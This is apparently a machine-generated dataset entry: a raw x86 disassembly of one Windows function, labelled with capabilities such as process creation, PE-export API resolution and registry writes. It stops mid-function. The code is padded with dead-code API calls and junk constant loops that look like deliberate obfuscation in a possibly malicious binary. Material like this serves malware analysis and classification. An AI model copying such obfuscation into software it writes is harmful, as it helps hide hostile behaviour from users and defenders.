Function at 0x10014885
Capabilities:
Create process on windows
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10066f3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
push ebx
mov dword [esp + 0x40], ecx
xor ebx, ebx
push esi
mov dword [esp + 0x24], 0x6240
push edi
mov byte [esp + 0x13], bl
mov edi, edx
mov dword [esp + 0x30], edi
cmp byte [esp + 0x13], bl
je 0x100148f8
push ebx
push 0x203a
push 0xb9f
push 0x9d
push 0xe35
push 0x125f
push 0x255
push 0x11be
push 0x1d52
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], bl
je 0x1001490e
push ebx
push 0xf65
call dword [sym.imp.USER32.dll_ValidateRect]
mov eax, dword [0x16e304f8]
xor esi, esi
inc esi
test al, 1
jne 0x10014942
or eax, esi
mov dword [0x16e304f8], eax
mov dword [esp + 0x224], ebx
call fcn.10016995
push 0x100680cb
call fcn.1004f57b
pop ecx
or ecx, 0xffffffff
mov dword [esp + 0x224], ecx
push 0xfffffffffffffffd
pop eax
mov dword [esp + 0x194], eax
lea ecx, [esp + 0xd4]
mov dword [esp + 0x198], eax
mov dword [esp + 0x19c], eax
mov dword [esp + 0x1a0], eax
push 3
call fcn.100165ef
mov dword [esp + 0x1c], ebx
jmp 0x1001498b
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0xd4]
mov dword [eax + ecx*4], 5
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 3
jl 0x10014975
mov ecx, dword [esp + 0xd4]
mov dword [ecx + 8], ebx
mov eax, dword [ecx + 8]
cmp dword [esp + eax*4 + 0x194], ebx
jne 0x100149b1
inc dword [ecx + 8]
cmp dword [ecx + 8], 3
jle 0x1001499c
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x100149c3
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push dword [esp + 0xd4]
call fcn.1004f7aa
imul eax, dword [esp + 0x4c], 0x2710
pop ecx
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xdc], ebx
add eax, edi
mov dword [esp + 0x90], eax
lea eax, [esp + 0x90]
push eax
call fcn.10016a02
push dword [esp + 0x30]
xorps xmm0, xmm0
mov dword [esp + 0x50], ebx
lea ecx, [esp + 0x50]
mov dword [esp + 0x54], ebx
mov edi, dword [eax]
lea eax, [esp + 0x1c8]
push eax
lea eax, [esp + 0x1bc]
mov dword [esp + 0x20], 0xfffffff8
push eax
push ebx
mov dword [esp + 0x34], edi
movdqu xmmword [esp + 0x1c4], xmm0
mov dword [esp + 0x64], ebx
call fcn.1001bc36
or eax, 0xffffffff
mov dword [esp + 0x224], esi
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x11c]
push 3
call fcn.100165ef
push 2
lea ecx, [esp + 0x12c]
mov byte [esp + 0x228], 2
call fcn.100165ef
mov dword [esp + 0x28], esi
mov dword [esp + 0x18], ebx
jmp 0x10014a99
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x11c]
mov dword [eax + ecx*4], 0x2885
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 3
jl 0x10014a83
mov dword [esp + 0x18], ebx
jmp 0x10014abc
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x128]
mov dword [eax + ecx*4], 0xd0d42ad0
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 2
jl 0x10014aa6
mov dword [esp + 0x18], 0x10
jmp 0x10014ae6
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10014ae2
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
dec dword [esp + 0x18]
cmp dword [esp + 0x18], 0xffffffe6
jg 0x10014acd
push 3
mov dword [esp + 0x1c], ebx
pop ecx
cmp dword [esp + 0x18], ecx
jg 0x10014bfd
mov dword [esp + 0x2c], 0xfffffff6
or eax, 0xffffffff
mov dword [esp + 0x38], 0x24f63abe
mov dword [esp + 0x38], eax
mov dword [esp + 0x2c], ecx
cmp dword [esp + 0x2c], ebx
jl 0x10014be7
mov edx, dword [esp + 0x4c]
mov dword [esp + 0x38], edx
mov dword [esp + 0x20], 4
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [esp + 0x2c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x66c4
setne al
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
cmp dword [edx + 4], esi
jg 0x10014b6c
mov edi, ebx
cmp dword [esp + 0x20], ebx
je 0x10014b6e
mov edi, esi
mov ecx, dword [esp + 0x2c]
xor edx, edx
mov eax, dword [esp + 0x4c]
push 3
cmp dword [eax + ecx*4], edi
pop ecx
sete dl
or eax, 0xffffffff
mov dword [esp + 0x1c], edx
mov dword [esp + 0x150], eax
mov dword [esp + 0x1c], ebx
cmp dword [esp + 0x1c], ecx
jg 0x10014bd9
mov dword [esp + 0x20], 0xd52a2848
cmp dword [esp + 0x20], ebx
jne 0x10014bd6
mov dword [esp + 0x20], ecx
cmp dword [esp + 0x20], ebx
jl 0x10014bcc
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x150]
mov eax, dword [esp + 0x4c]
mov dword [eax + edx*4], ecx
dec dword [esp + 0x20]
jns 0x10014bb1
push 3
pop ecx
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], ecx
jle 0x10014b99
or eax, 0xffffffff
dec dword [esp + 0x2c]
mov edx, dword [esp + 0x38]
jns 0x10014b2b
mov eax, dword [esp + 0x28]
inc dword [esp + 0x18]
cmp dword [esp + 0x18], ecx
jle 0x10014afe
mov edi, dword [esp + 0x24]
cmp dword [esp + 0x128], 0
je 0x10014c29
push dword [esp + 0x128]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0x128], ebx
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x130], ebx
cmp dword [esp + 0x11c], 0
je 0x10014c55
push dword [esp + 0x11c]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
or eax, 0xffffffff
mov dword [esp + 0x224], eax
cmp dword [esp + 0x4c], 0
je 0x10014c7c
push dword [esp + 0x4c]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
test edi, edi
je 0x10014ded
mov dword [esp + 0x20], esi
lea ecx, [esp + 0x104]
push 2
call fcn.100165ef
mov dword [esp + 0x1c], ebx
jmp 0x10014cb2
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x104]
mov dword [eax + ecx*4], 0x37a3a11c
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 2
jl 0x10014c9c
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x20], 0xfffffffd
jl 0x10014dca
mov dword [esp + 0x18], 0xc4d8e5cc
mov dword [esp + 0x38], ebx
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], 0xffffffeb
jle 0x10014cf8
mov ecx, dword [esp + 0x104]
mov eax, dword [esp + 0x20]
mov dword [ecx + 4], eax
dec dword [esp + 0x18]
cmp dword [esp + 0x18], 0xffffffeb
jg 0x10014ce6
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], 0x1c
jl 0x10014db7
or eax, 0xffffffff
mov dword [esp + 0x1c], 0x7a4bedcc
mov dword [esp + 0x30], eax
mov dword [esp + 0x30], 0xfffffff7
mov dword [esp + 0x30], esi
mov dword [esp + 0x30], 0xfffffffc
mov dword [esp + 0x14], 0xfffffff6
mov dword [esp + 0x1c], 0xffffffe3
cmp dword [esp + 0x1c], 0xffffffe6
je 0x10014da2
mov edi, dword [esp + 0x104]
mov dword [esp + 0x30], 0x54e3
xor edx, edx
mov dword [esp + 0x28], esi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0x18]
imul ecx, dword [edi + 4]
mov eax, dword [esp + 0x104]
cmp dword [eax], ecx
mov eax, dword [esp + 0x14]
setl dl
dec dword [esp + 0x14]
cmp eax, edx
mov eax, esi
cmovle eax, ebx
xor edx, edx
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
cmp eax, ecx
setle dl
mov dword [esp + 0x28], edx
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0xffffffe6
jne 0x10014d48
or eax, 0xffffffff
cmp dword [esp + 0x38], ebx
jne 0x10014db7
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 0x1c
jge 0x10014d0a
dec dword [esp + 0x20]
cmp dword [esp + 0x20], 0xfffffffd
jge 0x10014cc8
mov edi, dword [esp + 0x24]
cmp dword [esp + 0x104], 0
je 0x10014de1
push dword [esp + 0x104]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0xb0], edi
jmp 0x10015e88
mov eax, dword [0x16e304f8]
test al, 2
jne 0x10014e95
or eax, 2
mov dword [0x16e304f8], eax
push ebx
mov dword [esp + 0x228], 3
push ebx
mov dword [0x16e304d0], ebx
mov dword [0x16e304d4], ebx
call fcn.1001ab8a
mov dword [0x16e304d0], eax
mov dword [0x16e304d8], ebx
mov dword [0x16e304e0], ebx
mov byte [esp + 0x224], 5
mov ecx, 0x16e304d8
mov dword [esp + 0x134], eax
lea eax, [esp + 0x134]
push eax
push 0x10
push ebx
lea eax, [esp + 0x64]
mov dword [0x16e304ec], 0x3f800000
push eax
mov dword [0x16e304dc], ebx
call fcn.1001a962
push 0x100680c6
mov dword [0x16e304e4], 7
mov dword [0x16e304e8], 8
call fcn.1004f57b
or edi, 0xffffffff
pop ecx
mov dword [esp + 0x224], edi
jmp 0x10014e98
or edi, 0xffffffff
mov dword [esp + 0x14], 0xce9d
lea ecx, [esp + 0x138]
push esi
call fcn.100165ef
mov dword [esp + 0x1c], ebx
jmp 0x10014ec9
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x138]
mov dword [eax + ecx*4], 0xb25b3b9d
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], esi
jl 0x10014eb3
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10014ee7
push ebx
push 0xdd7
push ebx
call dword [sym.imp.GDI32.dll_GetObjectW]
mov ecx, esi
cmp dword [esp + 0x14], ebx
jne 0x10014ef1
mov ecx, ebx
mov eax, dword [esp + 0x138]
push eax
mov dword [eax], ecx
call fcn.1004f7aa
xorps xmm0, xmm0
mov dword [esp + 0x13c], ebx
mov dword [esp + 0x140], ebx
mov dword [esp + 0x144], ebx
movdqu xmmword [esp + 0x164], xmm0
mov dword [esp + 0x24], 8
pop ecx
mov dword [esp + 0x20], ebx
jmp 0x10014f5e
mov dword [esp + 0x1c], edi
mov dword [esp + 0x1c], ebx
jmp 0x10014f53
mov dword [esp + 0x28], 0xe4b28306
mov eax, dword [esp + 0x1c]
sub eax, 0x7c9334fd
mov dword [esp + 0x28], eax
dec dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0xffffffe7
jge 0x10014f3a
dec dword [esp + 0x20]
cmp dword [esp + 0x20], 0xfffffff8
jg 0x10014f30
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10014f84
push 0x196c
push ebx
push ebx
push ebx
push ebx
push 0x1b00
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esp + 0x48]
push eax
call fcn.10016a64
cmp byte [ebp + 0xc], 0
mov edi, dword [eax]
mov dword [esp + 0x24], edi
jne 0x10014fa2
test edi, edi
jne 0x100151dc
push 2
lea ecx, [esp + 0xe4]
call fcn.100165ef
mov dword [esp + 0x224], 6
or edi, 0xffffffff
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], 2
jge 0x10014fdd
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0xe0]
mov dword [eax + ecx*4], edi
inc dword [esp + 0x18]
jmp 0x10014fc2
mov dword [esp + 0x18], ebx
jmp 0x10014ff6
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x17c], 0xdf1febae
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 4
jl 0x10014fe3
mov dword [esp + 0x188], ebx
jmp 0x100150da
push dword [esp + 0x58]
movdqa xmm0, xmmword [0x10007e90]
lea eax, [esp + 0x1d8]
push eax
lea eax, [esp + 0x1cc]
mov dword [esp + 0x88], ebx
push eax
push ebx
lea ecx, [esp + 0x90]
mov dword [esp + 0x94], ebx
movdqu xmmword [esp + 0x1d4], xmm0
mov dword [esp + 0x98], ebx
call fcn.1001bc36
mov dword [esp + 0x14], ebx
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x1001506c
push ebx
push 0x1ca3
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
mov eax, dword [esp + 0x80]
mov dword [eax + 0xc], 0x2c0d37ad
mov dword [esp + 0x14], esi
cmp dword [esp + 0x14], ebx
jl 0x100150b1
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x100150ab
push 0x7d0
push ebx
push 0xaf2
push ebx
push 0x1072
push 0x2596
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
dec dword [esp + 0x14]
jns 0x10015084
push dword [esp + 0x80]
call fcn.1004f7aa
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x8c], ebx
inc dword [esp + 0x18c]
pop ecx
cmp dword [esp + 0x188], esi
jle 0x10015009
mov dword [esp + 0x224], edi
cmp dword [esp + 0xe0], 0
je 0x1001511a
push dword [esp + 0xe0]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], ebx
mov dword [esp + 0xe8], ebx
mov dl, byte [ebp + 0xc]
lea eax, [esp + 0x1f8]
mov ecx, dword [esp + 0x48]
push eax
call fcn.100095d2
cmp byte [ebp + 0xc], 0
lea edi, [esp + 0x164]
mov esi, eax
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x100151d5
cmp dword [esp + 0x168], 0
je 0x100151d5
mov eax, dword [esp + 0x16c]
mov dword [esp + 0x1c], 0xfffffff6
mov dword [esp + 0xb4], eax
mov dword [esp + 0x1c], ebx
jmp 0x10015183
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x208], 0xfffffffd
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 4
jl 0x10015170
mov dword [esp + 0x1c], ebx
jmp 0x100151ac
cmp byte [esp + 0x13], 0
je 0x100151a8
push ebx
push 0x1008
push 0x1847
call dword [sym.imp.GDI32.dll_CreatePen]
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 3
mov byte [esp + 0x13], bl
jle 0x10015190
cmp byte [esp + 0x13], 0
je 0x100151c7
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [esp + 0x168]
mov dword [esp + 0xb8], eax
mov edi, dword [esp + 0x24]
xor esi, esi
inc esi
push 2
lea ecx, [esp + 0x114]
call fcn.100165ef
mov dword [esp + 0x224], 7
mov dword [esp + 0x1c], 0x2f4a8b10
mov dword [esp + 0x1c], ebx
jmp 0x10015219
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x110]
mov dword [eax + ecx*4], 0x5c96
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 2
jl 0x10015203
mov eax, dword [esp + 0x110]
mov eax, dword [eax + 4]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x1c], ebx
jmp 0x10015381
mov dword [esp + 0x14], 0x3eee2fde
mov dword [esp + 0x14], ebx
jmp 0x10015372
mov dword [esp + 0x24], 0x99d94b4b
mov dword [esp + 0x24], 0x11
jmp 0x10015363
push 2
lea ecx, [esp + 0xfc]
call fcn.100165ef
mov dword [esp + 0x18], ebx
jmp 0x10015281
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x44], 0xc17e5c28
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jl 0x10015271
mov dword [esp + 0x18], ebx
jmp 0x100152a3
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0xf8]
mov dword [eax + ecx*4], 0x81438367
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 2
jl 0x1001528d
mov dword [esp + 0x44], ebx
cmp dword [esp + 0x44], esi
jg 0x10015333
or eax, 0xffffffff
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ebx
cmp dword [esp + 0x2c], esi
jg 0x10015329
mov dword [esp + 0x28], 7
mov dword [esp + 0x20], ebx
jmp 0x100152e7
mov eax, dword [esp + 0x20]
mov dword [esp + eax*4 + 0x3c], 0x874b28e
inc dword [esp + 0x20]
cmp dword [esp + 0x20], esi
jl 0x100152d7
mov dword [esp + 0x3c], ebx
jmp 0x10015316
mov dword [esp + 0x20], 0x4957
dec dword [esp + 0x20]
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10015312
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
inc dword [esp + 0x3c]
cmp dword [esp + 0x3c], esi
jle 0x100152f3
inc dword [esp + 0x2c]
cmp dword [esp + 0x2c], esi
jle 0x100152c9
or eax, 0xffffffff
inc dword [esp + 0x44]
cmp dword [esp + 0x44], esi
jle 0x100152b7
cmp dword [esp + 0xf8], 0
je 0x1001535f
push dword [esp + 0xf8]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0xf8], ebx
mov dword [esp + 0xfc], ebx
mov dword [esp + 0x100], ebx
dec dword [esp + 0x24]
cmp dword [esp + 0x24], 0xfffffff8
jg 0x1001525d
dec dword [esp + 0x14]
cmp dword [esp + 0x14], 0xfffffff9
jle 0x10015248
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x13
jl 0x10015237
or eax, 0xffffffff
mov dword [esp + 0x224], eax
push dword [esp + 0x110]
call fcn.1004f7aa
mov dword [esp + 0x114], ebx
mov dword [esp + 0x118], ebx
mov dword [esp + 0x11c], ebx
pop ecx
test edi, edi
jne 0x1001598a
cmp dword [esp + 0x160], edi
jle 0x1001598a
mov dword [esp + 0x1c], 0xca4f833f
mov dword [esp + 0x14], ebx
jmp 0x100153ee
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x1e4], 0xdfd94759
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 3
jl 0x100153db
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x1c], 0xffffffe7
jmp 0x10015463
mov dword [esp + 0x14], 0x6b8f3d42
mov dword [esp + 0x14], ebx
jmp 0x10015424
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x1f0], 0x876942a1
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 2
jl 0x10015411
mov dword [esp + 0x14], esi
cmp dword [esp + 0x14], ebx
jl 0x10015446
mov dword [esp + 0x1ec], 0xcf30836b
dec dword [esp + 0x14]
jns 0x10015435
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x1001545f
push ebx
push ebx
push 0x1bca
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x31
jle 0x10015403
mov dword [esp + 0x14], 8
lea ecx, [esp + 0xa4]
mov dword [esp + 0x14], 7
push esi
call fcn.100165ef
mov dword [esp + 0x28], 0xe3cb5af9
mov dword [esp + 0x18], ebx
jmp 0x100154a1
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x34], ebx
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jl 0x10015495
mov dword [esp + 0x18], ebx
jmp 0x100154c3
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0xa4]
mov dword [eax + ecx*4], 0x5d367296
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jl 0x100154ad
mov eax, dword [esp + 0x34]
or ecx, 0xffffffff
mov eax, dword [esp + 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
imul eax, dword [esp + 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x34]
cmp eax, esi
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0xa4]
setl cl
imul edx, ecx
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [esp + 0x34]
push dword [esp + 0xa4]
cmp edx, eax
sete cl
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x18], esi
call fcn.1004f7aa
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0x5a02
mov dword [esp + 0x18], 6
pop ecx
mov dword [esp + 0x14], ebx
jmp 0x10015575
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x5c], esi
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 3
jl 0x10015569
cmp dword [esp + 0x1c], ebx
je 0x100155aa
mov dword [esp + 0x28], 0x6db6
xor ecx, ecx
mov dword [esp + 0x28], 0xfff6
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x1c]
cmp eax, esi
setg cl
mov dword [esp + 0x28], ecx
jmp 0x10015682
mov dword [esp + 0x24], 0x34859bb
mov dword [esp + 0x20], 7
mov dword [esp + 0x14], 0xafbcae26
mov dword [esp + 0x14], ebx
jmp 0x100155db
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x18c], 0xd8a
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 2
jl 0x100155c8
mov eax, dword [esp + 0x24]
xor edx, edx
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x60]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x14], esi
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp ecx, eax
setle dl
or eax, 0xffffffff
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x1c]
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [esp + 0x190]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, dword [esp + 0x190]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x20]
cmp eax, ecx
mov eax, dword [esp + 0x20]
setge dl
mov dword [esp + 0x28], edx
xor edx, edx
cmp eax, dword [esp + 0x28]
mov eax, dword [esp + 0x1c]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x18]
sub eax, dword [esp + 0x18]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [esp + 0x18]
jne 0x1001569d
mov edx, esi
cmp dword [esp + 0x18], ebx
jne 0x1001569f
mov edx, ebx
mov eax, dword [esp + 0x24]
xor ecx, ecx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
cmp eax, edx
setge cl
sub ecx, 3
imul ecx, dword [esp + 0x60]
test ecx, ecx
jne 0x100156ce
mov eax, ebx
cmp dword [esp + 0x64], ebx
je 0x100156d0
mov eax, esi
cmp eax, dword [esp + 0x18]
je 0x1001572f
push 2
lea ecx, [esp + 0x148]
call fcn.100165ef
mov dword [esp + 0x14], ebx
jmp 0x10015700
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x144]
mov dword [eax + ecx*4], 0x5a815809
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 2
jl 0x100156ea
mov eax, dword [esp + 0x144]
push eax
inc dword [eax + 4]
call fcn.1004f7aa
pop ecx
mov dword [esp + 0x144], ebx
mov dword [esp + 0x148], ebx
mov dword [esp + 0x14c], ebx
jmp 0x100157ad
mov dword [esp + 0x1c], 0xfffffffe
mov dword [esp + 0x18], ebx
cmp dword [esp + 0x18], 2
jg 0x100157ad
or ebx, 0xffffffff
mov dword [esp + 0x28], ebx
xor ecx, ecx
mov eax, dword [esp + 0x18]
mov eax, dword [esp + eax*4 + 0x5c]
add eax, 5
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + eax*4 + 0x5c]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + eax*4 + 0x5c]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + eax*4 + 0x5c]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + eax*4 + 0x5c]
cmp eax, 0x2634
setne cl
add ecx, 0xffff
mov dword [esp + 0x24], ecx
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 2
jle 0x10015745
xor ebx, ebx
push dword [esp + 0x58]
lea eax, [esp + 0x1e8]
mov dword [esp + 0x6c], ebx
push eax
lea eax, [esp + 0x1dc]
mov dword [esp + 0x74], ebx
push eax
xorps xmm0, xmm0
mov dword [esp + 0x7c], ebx
push ebx
lea ecx, [esp + 0x78]
movdqu xmmword [esp + 0x1e4], xmm0
call fcn.1001bc36
mov dword [esp + 0x224], 8
lea ecx, [esp + 0xc8]
mov dword [esp + 0x24], 0x3bed
mov dword [esp + 0x14], 0xfffffff9
push 3
call fcn.100165ef
mov dword [esp + 0x28], 0x24adc9fe
mov dword [esp + 0x14], 5
mov dword [esp + 0x38], 0xfffffffe
mov dword [esp + 0x14], ebx
jmp 0x10015840
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc8]
mov dword [eax + ecx*4], 0x74498b94
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 3
jl 0x1001582a
mov edx, dword [esp + 0x68]
cmp dword [edx + 8], 0x81a7ecc2
jbe 0x10015889
mov ecx, dword [edx + 0xc]
mov eax, dword [esp + 0x24]
sub ecx, 0x498d20b
imul ecx, dword [edx + 8]
sub ecx, eax
mov dword [esp + 0x14], ecx
xor ecx, ecx
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x24]
cmp eax, 0xfffffff8
mov dword [edx + 8], 0xfffffff8
mov eax, esi
setg cl
cmp ecx, 0xfffffff6
jb 0x1001588b
mov eax, ebx
xor ecx, ecx
test eax, eax
mov eax, dword [esp + 0xc8]
sete cl
mov dword [eax + 4], ecx
test ecx, ecx
je 0x100158a4
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x68]
xor ecx, ecx
cmp dword [eax + 0xc], ebx
setne cl
cmp ecx, dword [esp + 0x24]
jge 0x100158c0
mov eax, dword [esp + 0x68]
mov ecx, ebx
cmp dword [eax], ebx
je 0x100158c2
mov ecx, esi
xor eax, eax
cmp ecx, 0x4486cae8
setl al
mov dword [esp + 0x14], eax
cmp dword [esp + 0x14], 0xd945ad33
push dword [esp + 0xc8]
sbb eax, eax
inc eax
mov dword [esp + 0x3c], eax
call fcn.1004f7aa
or eax, 0xffffffff
mov dword [esp + 0xcc], ebx
pop ecx
mov dword [esp + 0x224], eax
push dword [esp + 0x68]
mov dword [esp + 0xd0], ebx
mov dword [esp + 0xd4], ebx
call fcn.1004f7aa
mov dword [esp + 0x6c], ebx
or eax, 0xffffffff
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x18], eax
pop ecx
mov dword [esp + 0x14], ebx
jmp 0x10015965
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x1001594c
push ebx
push 0x12f3
push ebx
push 0x22c3
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x10015961
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
dec dword [esp + 0x14]
cmp dword [esp + 0x14], 0xfffffff1
jge 0x1001592f
mov ecx, dword [esp + 0x164]
test ecx, ecx
je 0x1001598a
call fcn.10014793
mov edi, eax
lea eax, [esp + 0x48]
push eax
call fcn.10016a64
mov dword [eax], edi
lea ecx, [esp + 0x160]
call fcn.100105fd
push esi
lea ecx, [esp + 0x9c]
call fcn.100165ef
mov dword [esp + 0x1c], 0x96960f57
mov dword [esp + 0x14], ebx
jmp 0x100159c3
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x98]
mov dword [eax + ecx*4], esi
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jl 0x100159b1
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], 0
je 0x100159e0
push ebx
push 0x20de
call dword [sym.imp.USER32.dll_SetMenu]
mov dword [esp + 0x1c], ebx
jmp 0x100159fc
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x98]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], esi
jl 0x100159e6
